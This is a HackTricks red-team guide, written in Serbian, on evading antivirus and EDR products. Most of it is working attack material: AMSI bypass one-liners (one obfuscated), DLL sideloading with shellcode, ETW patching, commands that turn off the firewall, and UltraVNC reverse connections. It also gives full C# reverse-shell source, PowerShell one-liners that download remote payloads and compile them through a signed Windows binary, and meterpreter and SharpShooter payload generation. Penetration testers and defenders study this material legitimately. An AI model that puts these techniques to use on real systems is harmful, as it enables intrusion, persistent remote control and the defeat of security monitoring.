Antivirus (AV) Bypass
Reading time: 25 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ovu stranicu je napisao @m2rc_p!
AV Evasion Methodology
Trenutno, AV koristi različite metode za proveru da li je datoteka maliciozna ili ne, statičku detekciju, dinamičku analizu, i za naprednije EDR-ove, analizu ponašanja.
Statička detekcija
Statička detekcija se postiže označavanjem poznatih malicioznih stringova ili nizova bajtova u binarnom fajlu ili skripti, kao i ekstrakcijom informacija iz same datoteke (npr. opis datoteke, ime kompanije, digitalni potpisi, ikona, kontrolna suma, itd.). To znači da korišćenje poznatih javnih alata može lakše dovesti do otkrivanja, jer su verovatno analizirani i označeni kao maliciozni. Postoji nekoliko načina da se zaobiđe ova vrsta detekcije:
- Enkripcija
Ako enkriptujete binarni fajl, neće biti načina za AV da detektuje vaš program, ali će vam biti potreban neki loader da dekriptuje i pokrene program u memoriji.
- Obfuskacija
Ponekad je sve što treba da uradite da promenite neke stringove u vašem binarnom fajlu ili skripti da biste ga prošli AV, ali ovo može biti dugotrajan zadatak u zavisnosti od onoga što pokušavate da obfuskate.
- Prilagođeni alati
Ako razvijete svoje alate, neće biti poznatih loših potpisa, ali ovo zahteva mnogo vremena i truda.
note
Dobar način za proveru protiv Windows Defender statičke detekcije je ThreatCheck. U suštini deli datoteku na više segmenata i zatim traži od Defendera da skenira svaki pojedinačno, na ovaj način, može vam reći tačno koji su označeni stringovi ili bajtovi u vašem binarnom fajlu.
Toplo preporučujem da pogledate ovu YouTube playlistu o praktičnoj AV Evasiji.
Dinamička analiza
Dinamička analiza je kada AV pokreće vaš binarni fajl u sandbox-u i prati malicioznu aktivnost (npr. pokušaj dekripcije i čitanja lozinki iz vašeg pretraživača, izvođenje minidump-a na LSASS, itd.). Ovaj deo može biti malo teži za rad, ali evo nekoliko stvari koje možete učiniti da izbegnete sandboksove.
- Sleep pre izvršenja U zavisnosti od toga kako je implementirano, to može biti odličan način za zaobilaženje dinamičke analize AV-a. AV-ima je potrebno vrlo malo vremena da skeniraju datoteke kako ne bi ometali rad korisnika, pa korišćenje dugih sleep-ova može ometati analizu binarnih fajlova. Problem je što mnogi AV-ovi sandboksovi mogu jednostavno preskočiti sleep u zavisnosti od toga kako je implementirano.
- Proveravanje resursa mašine Obično sandboksovi imaju vrlo malo resursa za rad (npr. < 2GB RAM), inače bi mogli usporiti korisničku mašinu. Takođe možete biti veoma kreativni ovde, na primer, proveravajući temperaturu CPU-a ili čak brzine ventilatora, ne sve će biti implementirano u sandboksu.
- Provere specifične za mašinu Ako želite da ciljate korisnika čija je radna stanica pridružena "contoso.local" domenu, možete izvršiti proveru na domen mašine da vidite da li se poklapa sa onim što ste naveli, ako se ne poklapa, možete naterati svoj program da izađe.
Ispostavlja se da je ime računara Microsoft Defender-ovog sandboks-a HAL9TH, tako da možete proveriti ime računara u vašem malveru pre detonacije, ako se ime poklapa sa HAL9TH, to znači da ste unutar Defender-ovog sandboks-a, pa možete naterati svoj program da izađe.
.png)
Neki drugi zaista dobri saveti od @mgeeky za borbu protiv sandboksova
.png)
Red Team VX Discord #malware-dev kanal
Kao što smo rekli ranije u ovom postu, javni alati će na kraju biti otkriveni, pa biste trebali da se zapitate nešto:
Na primer, ako želite da dump-ujete LSASS, da li vam zaista treba da koristite mimikatz? Ili biste mogli koristiti neki drugi projekat koji je manje poznat i takođe dump-uje LSASS.
Pravi odgovor je verovatno potonji. Uzimajući mimikatz kao primer, verovatno je jedan od, ako ne i najviše označenih malvera od strane AV-a i EDR-a, dok je projekat sam po sebi super cool, takođe je noćna mora raditi s njim da biste zaobišli AV, pa samo potražite alternative za ono što pokušavate da postignete.
note
Kada modifikujete svoje payload-e za evaziju, obavezno isključite automatsko slanje uzoraka u defender-u, i molim vas, ozbiljno, NE ULAŽITE NA VIRUSTOTAL ako je vaš cilj postizanje evazije na duže staze. Ako želite da proverite da li vaš payload biva otkriven od strane određenog AV-a, instalirajte ga na VM, pokušajte da isključite automatsko slanje uzoraka, i testirajte ga tamo dok ne budete zadovoljni rezultatom.
EXEs vs DLLs
Kad god je to moguće, uvek prioritizujte korišćenje DLL-ova za evaziju, prema mom iskustvu, DLL fajlovi su obično mnogo manje otkriveni i analizirani, tako da je to veoma jednostavan trik za korišćenje kako biste izbegli detekciju u nekim slučajevima (ako vaš payload ima neki način da se pokrene kao DLL, naravno).
Kao što možemo videti na ovoj slici, DLL payload iz Havoc-a ima stopu detekcije od 4/26 na antiscan.me, dok EXE payload ima stopu detekcije od 7/26.
.png)
antiscan.me poređenje normalnog Havoc EXE payload-a vs normalnog Havoc DLL-a
Sada ćemo pokazati neke trikove koje možete koristiti sa DLL fajlovima da biste bili mnogo stealthier.
DLL Sideloading & Proxying
DLL Sideloading koristi prednost reda pretrage DLL-a koji koristi loader tako što postavlja i aplikaciju žrtve i maliciozni payload zajedno.
Možete proveriti programe podložne DLL Sideloading koristeći Siofra i sledeći powershell skript:
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
Ova komanda će prikazati listu programa podložnih DLL hijackingu unutar "C:\Program Files\" i DLL datoteka koje pokušavaju da učitaju.
Toplo preporučujem da istražite DLL hijackable/sideloadable programe sami, ova tehnika je prilično suptilna kada se pravilno izvede, ali ako koristite javno poznate DLL sideloadable programe, lako možete biti uhvaćeni.
Samo postavljanje malicioznog DLL-a sa imenom koje program očekuje da učita, neće učitati vaš payload, jer program očekuje neke specifične funkcije unutar tog DLL-a. Da bismo rešili ovaj problem, koristićemo drugu tehniku nazvanu DLL Proxying/Forwarding.
DLL Proxying prosleđuje pozive koje program pravi iz proxy (i malicioznog) DLL-a ka originalnom DLL-u, čime se očuvava funkcionalnost programa i omogućava izvršavanje vašeg payload-a.
Koristiću projekat SharpDLLProxy od @flangvik
Ovo su koraci koje sam pratio:
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
Poslednja komanda će nam dati 2 fajla: šablon izvorne koda DLL-a i originalni preimenovani DLL.


Oba naša shellcode (kodirano sa SGN) i proxy DLL imaju stopu detekcije 0/26 na antiscan.me! To bih nazvao uspehom.
.png)
note
Preporučujem da pogledate S3cur3Th1sSh1t's twitch VOD o DLL Sideloadingu, kao i ippsecov video da biste saznali više o onome što smo detaljnije razgovarali.
Freeze
Freeze je alat za payload za zaobilaženje EDR-a koristeći suspendovane procese, direktne syscalls i alternativne metode izvršavanja
Možete koristiti Freeze da učitate i izvršite svoj shellcode na diskretan način.
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

note
Izbegavanje je samo igra mačke i miša, ono što danas funkcioniše može biti otkriveno sutra, tako da nikada ne oslanjajte se samo na jedan alat, ako je moguće, pokušajte da povežete više tehnika izbegavanja.
AMSI (Interfejs za skeniranje protiv malvera)
AMSI je stvoren da spreči "malver bez datoteka". U početku, AV-ovi su mogli da skeniraju samo datoteke na disku, tako da ako biste nekako mogli da izvršite payload-ove direktno u memoriji, AV nije mogao ništa da učini da to spreči, jer nije imao dovoljno uvida.
AMSI funkcija je integrisana u ove komponente Windows-a.
- Kontrola korisničkog naloga, ili UAC (povećanje privilegija EXE, COM, MSI, ili ActiveX instalacije)
- PowerShell (skripte, interaktivna upotreba i dinamička evaluacija koda)
- Windows Script Host (wscript.exe i cscript.exe)
- JavaScript i VBScript
- Office VBA makroi
Omogućava antivirusnim rešenjima da ispituju ponašanje skripti izlažući sadržaj skripti u formi koja je i nekriptovana i neobfuskovana.
Pokretanje IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
će proizvesti sledeću upozorenje na Windows Defender-u.
.png)
Primetite kako dodaje amsi:
i zatim putanju do izvršne datoteke iz koje je skripta pokrenuta, u ovom slučaju, powershell.exe
Nismo spustili nijednu datoteku na disk, ali smo ipak uhvaćeni u memoriji zbog AMSI.
Štaviše, počevši od .NET 4.8, C# kod se takođe izvršava kroz AMSI. Ovo čak utiče na Assembly.Load(byte[])
za učitavanje u memorijskoj izvršavanju. Zato se preporučuje korišćenje nižih verzija .NET-a (kao što su 4.7.2 ili niže) za izvršavanje u memoriji ako želite da izbegnete AMSI.
Postoji nekoliko načina da se zaobiđe AMSI:
- Obfuskacija
Pošto AMSI uglavnom radi sa statičkim detekcijama, stoga, modifikovanje skripti koje pokušavate da učitate može biti dobar način za izbegavanje detekcije.
Međutim, AMSI ima sposobnost da neobfuskira skripte čak i ako imaju više slojeva, tako da obfuskacija može biti loša opcija u zavisnosti od načina na koji je urađena. Ovo čini izbegavanje ne tako jednostavnim. Ipak, ponekad, sve što treba da uradite je da promenite nekoliko imena promenljivih i bićete u redu, tako da zavisi koliko je nešto označeno.
- AMSI Bypass
Pošto je AMSI implementiran učitavanjem DLL-a u proces powershell-a (takođe cscript.exe, wscript.exe, itd.), moguće je lako manipulisati njime čak i kada se pokreće kao korisnik bez privilegija. Zbog ove greške u implementaciji AMSI, istraživači su pronašli više načina da izbegnu AMSI skeniranje.
Prisiljavanje na grešku
Prisiljavanje AMSI inicijalizacije da ne uspe (amsiInitFailed) će rezultirati time da nijedno skeniranje neće biti inicirano za trenutni proces. Prvobitno je ovo otkrio Matt Graeber i Microsoft je razvio potpis da spreči širu upotrebu.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Sve što je bilo potrebno je jedna linija powershell koda da se AMSI učini neupotrebljivim za trenutni powershell proces. Ova linija je naravno označena od strane AMSI-a, tako da su potrebne neke modifikacije da bi se koristila ova tehnika.
Evo modifikovanog AMSI bypass-a koji sam uzeo iz ovog Github Gist.
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
Imajte na umu da će ovo verovatno biti označeno kada ovaj post bude objavljen, pa ne biste trebali objavljivati nikakav kod ako je vaš plan da ostanete neotkriveni.
Memory Patching
Ova tehnika je prvobitno otkrivena od strane @RastaMouse i uključuje pronalaženje adrese za funkciju "AmsiScanBuffer" u amsi.dll (odgovornu za skeniranje korisničkog unosa) i prepisivanje sa instrukcijama da vrati kod za E_INVALIDARG, na ovaj način, rezultat stvarnog skeniranja će biti 0, što se tumači kao čist rezultat.
note
Molimo vas da pročitate https://rastamouse.me/memory-patching-amsi-bypass/ za detaljnije objašnjenje.
Takođe postoji mnogo drugih tehnika koje se koriste za zaobilaženje AMSI sa PowerShell-om, pogledajte ovu stranicu i ovaj repo da biste saznali više o njima.
Ovaj alat https://github.com/Flangvik/AMSI.fail takođe generiše skriptu za zaobilaženje AMSI.
Remove the detected signature
Možete koristiti alat kao što je https://github.com/cobbr/PSAmsi i https://github.com/RythmStick/AMSITrigger da uklonite otkrivenu AMSI potpis iz memorije trenutnog procesa. Ovaj alat radi tako što skenira memoriju trenutnog procesa za AMSI potpis i zatim ga prepisuje sa NOP instrukcijama, efikasno ga uklanjajući iz memorije.
AV/EDR proizvodi koji koriste AMSI
Možete pronaći listu AV/EDR proizvoda koji koriste AMSI na https://github.com/subat0mik/whoamsi.
Use Powershell version 2 Ako koristite PowerShell verziju 2, AMSI neće biti učitan, tako da možete pokretati svoje skripte bez skeniranja od strane AMSI. Možete to uraditi:
powershell.exe -version 2
PS Logging
PowerShell logging je funkcija koja vam omogućava da beležite sve PowerShell komande izvršene na sistemu. Ovo može biti korisno za reviziju i rešavanje problema, ali može biti i problem za napadače koji žele da izbegnu otkrivanje.
Da biste zaobišli PowerShell logging, možete koristiti sledeće tehnike:
- Onemogućite PowerShell transkripciju i logovanje modula: Možete koristiti alat kao što je https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs u tu svrhu.
- Koristite Powershell verziju 2: Ako koristite PowerShell verziju 2, AMSI neće biti učitan, tako da možete pokrenuti svoje skripte bez skeniranja od strane AMSI. Možete to uraditi:
powershell.exe -version 2
- Koristite unmanaged PowerShell sesiju: Koristite https://github.com/leechristensen/UnmanagedPowerShell da pokrenete PowerShell bez odbrambenih mehanizama (to je ono što
powerpick
iz Cobalt Strike koristi).
Obfuscation
note
Nekoliko tehnika obfuskacije se oslanja na enkripciju podataka, što će povećati entropiju binarnog koda, što će olakšati AV-ima i EDR-ima da ga otkriju. Budite oprezni s tim i možda primenite enkripciju samo na specifične delove vašeg koda koji su osetljivi ili treba da budu skriveni.
Postoji nekoliko alata koji se mogu koristiti za obfuskaciju C# koda u čistom tekstu, generisanje metaprogramskih šablona za kompajliranje binarnih datoteka ili obfuskaciju kompajliranih binarnih datoteka kao što su:
- ConfuserEx: To je odličan open-source obfuskator za .NET aplikacije. Pruža razne tehnike zaštite kao što su obfuskacija kontrolnog toka, anti-debugging, anti-tampering i enkripcija stringova. Preporučuje se jer omogućava čak i obfuskaciju specifičnih delova koda.
- InvisibilityCloak: C# obfuskator
- Obfuscator-LLVM: Cilj ovog projekta je da pruži open-source fork LLVM kompilacione suite sposobne da pruži povećanu sigurnost softvera kroz obfuskaciju koda i zaštitu od neovlašćenih izmena.
- ADVobfuscator: ADVobfuscator demonstrira kako koristiti
C++11/14
jezik za generisanje, u vreme kompajliranja, obfuskovanog koda bez korišćenja bilo kog spoljnog alata i bez modifikovanja kompajlera. - obfy: Dodaje sloj obfuskovanih operacija generisanih C++ metaprogramskim okvirom koji će otežati život osobi koja želi da provali aplikaciju.
- Alcatraz: Alcatraz je x64 binarni obfuskator koji može obfuskovati razne različite pe datoteke uključujući: .exe, .dll, .sys
- metame: Metame je jednostavan metamorfni kod motor za proizvoljne izvršne datoteke.
- ropfuscator: ROPfuscator je okvir za obfuskaciju koda sa finim granicama za jezike podržane od strane LLVM koristeći ROP (programiranje orijentisano na povratak). ROPfuscator obfuskira program na nivou asemblera transformišući obične instrukcije u ROP lance, ometajući naše prirodno shvatanje normalnog kontrolnog toka.
- Nimcrypt: Nimcrypt je .NET PE kripter napisan u Nimu.
- inceptor: Inceptor može konvertovati postojeće EXE/DLL u shellcode i zatim ih učitati.
SmartScreen & MoTW
Možda ste videli ovaj ekran kada ste preuzimali neke izvršne datoteke sa interneta i izvršavali ih.
Microsoft Defender SmartScreen je bezbednosni mehanizam namenjen zaštiti krajnjeg korisnika od pokretanja potencijalno malicioznih aplikacija.
.png)
SmartScreen uglavnom funkcioniše na osnovu reputacije, što znači da će neobično preuzete aplikacije aktivirati SmartScreen, čime će upozoriti i sprečiti krajnjeg korisnika da izvrši datoteku (iako se datoteka i dalje može izvršiti klikom na Više informacija -> Pokreni u svakom slučaju).
MoTW (Mark of The Web) je NTFS Alternate Data Stream sa imenom Zone.Identifier koji se automatski kreira prilikom preuzimanja datoteka sa interneta, zajedno sa URL-om sa kojeg je preuzeta.
.png)
Proveravanje Zone.Identifier ADS za datoteku preuzetu sa interneta.
note
Važno je napomenuti da izvršne datoteke potpisane pouzdanom potpisnom sertifikatom neće aktivirati SmartScreen.
Veoma efikasan način da sprečite da vaši payload-ovi dobiju Mark of The Web je pakovanje unutar nekog oblika kontejnera kao što je ISO. To se dešava jer Mark-of-the-Web (MOTW) ne može biti primenjen na non NTFS volumene.
.png)
PackMyPayload je alat koji pakuje payload-ove u izlazne kontejnere kako bi izbegao Mark-of-the-Web.
Primer korišćenja:
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe
[+] Generated file written to (size: 3420160): container.iso
Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload

ETW
Event Tracing for Windows (ETW) je moćan mehanizam za logovanje u Windows-u koji omogućava aplikacijama i sistemskim komponentama da loguju događaje. Međutim, može se koristiti i od strane bezbednosnih proizvoda za praćenje i otkrivanje zlonamernih aktivnosti.
Slično kao što je AMSI onemogućen (zaobiđen), takođe je moguće učiniti da EtwEventWrite
funkcija korisničkog prostora odmah vrati bez logovanja bilo kakvih događaja. To se postiže patch-ovanjem funkcije u memoriji da odmah vrati, efikasno onemogućavajući ETW logovanje za taj proces.
Možete pronaći više informacija na https://blog.xpnsec.com/hiding-your-dotnet-etw/ i https://github.com/repnz/etw-providers-docs/.
C# Assembly Reflection
Učitavanje C# binarnih datoteka u memoriju je poznato već neko vreme i još uvek je veoma dobar način za pokretanje vaših alata nakon eksploatacije bez da vas uhvate AV.
Pošto će se payload učitati direktno u memoriju bez dodirivanja diska, moraćemo se brinuti samo o patch-ovanju AMSI za ceo proces.
Većina C2 okvira (sliver, Covenant, metasploit, CobaltStrike, Havoc, itd.) već pruža mogućnost izvršavanja C# assembly-a direktno u memoriji, ali postoje različiti načini za to:
- Fork&Run
Ovo uključuje pokretanje novog žrtvenog procesa, injektovanje vašeg zlonamernog koda u taj novi proces, izvršavanje vašeg zlonamernog koda i kada završite, ubijanje novog procesa. Ovo ima svoje prednosti i nedostatke. Prednost metode fork and run je u tome što se izvršavanje dešava izvan našeg Beacon implant procesa. To znači da ako nešto u našoj akciji nakon eksploatacije pođe po zlu ili bude uhvaćeno, postoji mnogo veća šansa da naš implant preživi. Nedostatak je u tome što imate veću šansu da budete uhvaćeni od strane Behavioral Detections.
.png)
- Inline
Radi se o injektovanju zlonamernog koda nakon eksploatacije u sopstveni proces. Na ovaj način, možete izbeći kreiranje novog procesa i njegovo skeniranje od strane AV, ali nedostatak je u tome što ako nešto pođe po zlu sa izvršavanjem vašeg payload-a, postoji mnogo veća šansa da izgubite svoj beacon jer bi mogao da se sruši.
.png)
note
Ako želite da pročitate više o učitavanju C# Assembly-a, molimo vas da pogledate ovaj članak https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ i njihov InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)
Takođe možete učitati C# Assembly-e iz PowerShell-a, pogledajte Invoke-SharpLoader i S3cur3th1sSh1t-ov video.
Using Other Programming Languages
Kao što je predloženo u https://github.com/deeexcee-io/LOI-Bins, moguće je izvršiti zlonamerni kod koristeći druge jezike dajući kompromitovanoj mašini pristup okruženju interpreter-a instaliranom na SMB deljenju pod kontrolom napadača.
Omogućavanjem pristupa Interpreter Binaries i okruženju na SMB deljenju možete izvršiti proizvoljan kod u ovim jezicima unutar memorije kompromitovane mašine.
Repozitorijum ukazuje: Defender i dalje skenira skripte, ali korišćenjem Go, Java, PHP itd. imamo više fleksibilnosti da zaobiđemo statične potpise. Testiranje sa nasumičnim neobfuskovanim reverse shell skriptama u ovim jezicima se pokazalo uspešnim.
TokenStomping
Token stomping je tehnika koja omogućava napadaču da manipuliše pristupnim tokenom ili bezbednosnim proizvodom kao što je EDR ili AV, omogućavajući im da smanje privilegije tako da proces ne umre, ali neće imati dozvole da proverava zlonamerne aktivnosti.
Da bi se to sprečilo, Windows bi mogao sprečiti spoljne procese da dobiju handle-ove nad tokenima bezbednosnih procesa.
- https://github.com/pwn1sher/KillDefender/
- https://github.com/MartinIngesen/TokenStomp
- https://github.com/nick-frischkorn/TokenStripBOF
Advanced Evasion
Evasija je veoma komplikovana tema, ponekad morate uzeti u obzir mnoge različite izvore telemetrije u samo jednom sistemu, tako da je praktično nemoguće ostati potpuno neotkriven u zrelim okruženjima.
Svako okruženje protiv kojeg se borite imaće svoje snage i slabosti.
Toplo vas savetujem da pogledate ovaj govor od @ATTL4S, kako biste stekli uvid u naprednije tehnike evasije.
[NcN2k20] Understanding and Hiding your Operations - Daniel López Jiménez
Ovo je takođe još jedan sjajan govor od @mariuszbit o Evasiji u dubini.
Old Techniques
Check which parts Defender finds as malicious
Možete koristiti ThreatCheck koji će ukloniti delove binarne datoteke dok ne otkrije koji deo Defender smatra zlonamernim i podeliti to sa vama.
Drugi alat koji radi isto je avred sa otvorenom web stranicom koja nudi uslugu na https://avred.r00ted.ch/
Telnet Server
Do Windows 10, svi Windows su dolazili sa Telnet serverom koji ste mogli instalirati (kao administrator) tako što ćete:
pkgmgr /iu:"TelnetServer" /quiet
Neka počinje kada se sistem pokrene i pokreni ga sada:
sc config TlntSVR start= auto obj= localsystem
Promenite telnet port (neprimetno) i onemogućite firewall:
tlntadmn config port=80
netsh advfirewall set allprofiles state off
UltraVNC
Preuzmite ga sa: http://www.uvnc.com/downloads/ultravnc.html (želite bin preuzimanja, a ne instalaciju)
NA HOSTU: Izvršite winvnc.exe i konfigurišite server:
- Omogućite opciju Disable TrayIcon
- Postavite lozinku u VNC Password
- Postavite lozinku u View-Only Password
Zatim, premestite binarni winvnc.exe i novokreirani fajl UltraVNC.ini unutar žrtve
Obrnuta veza
Napadač treba da izvrši unutar svog hosta binarni vncviewer.exe -listen 5900
kako bi bio pripremljen da uhvati obrnutu VNC vezu. Zatim, unutar žrtve: Pokrenite winvnc daemon winvnc.exe -run
i pokrenite winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
UPWARNING: Da biste održali tajnost, ne smete raditi nekoliko stvari
- Ne pokrećite
winvnc
ako već radi ili ćete aktivirati popup. proverite da li radi satasklist | findstr winvnc
- Ne pokrećite
winvnc
bezUltraVNC.ini
u istom direktorijumu ili će se otvoriti prozor za konfiguraciju - Ne pokrećite
winvnc -h
za pomoć ili ćete aktivirati popup
GreatSCT
Preuzmite ga sa: https://github.com/GreatSCT/GreatSCT
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py
Unutar GreatSCT:
use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
Sada pokrenite lister sa msfconsole -r file.rc
i izvršite xml payload sa:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
Trenutni defender će vrlo brzo prekinuti proces.
Kompajliranje našeg vlastitog reverznog shell-a
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Prvi C# Reverznog shell-a
Kompajlirajte ga sa:
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
Koristite to sa:
back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
C# korišćenje kompajlera
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
Automatsko preuzimanje i izvršavanje:
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
Lista C# obfuskatora: https://github.com/NotPrab/.NET-Obfuscator
C++
sudo apt-get install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
- https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp
- https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
- https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
- https://github.com/l0ss/Grouper2
- http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html
- http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/
Korišćenje Pythona za primer izgradnje injektora:
Ostali alati
# Veil Framework:
https://github.com/Veil-Framework/Veil
# Shellter
https://www.shellterproject.com/download/
# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
# Donut:
https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
Više
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.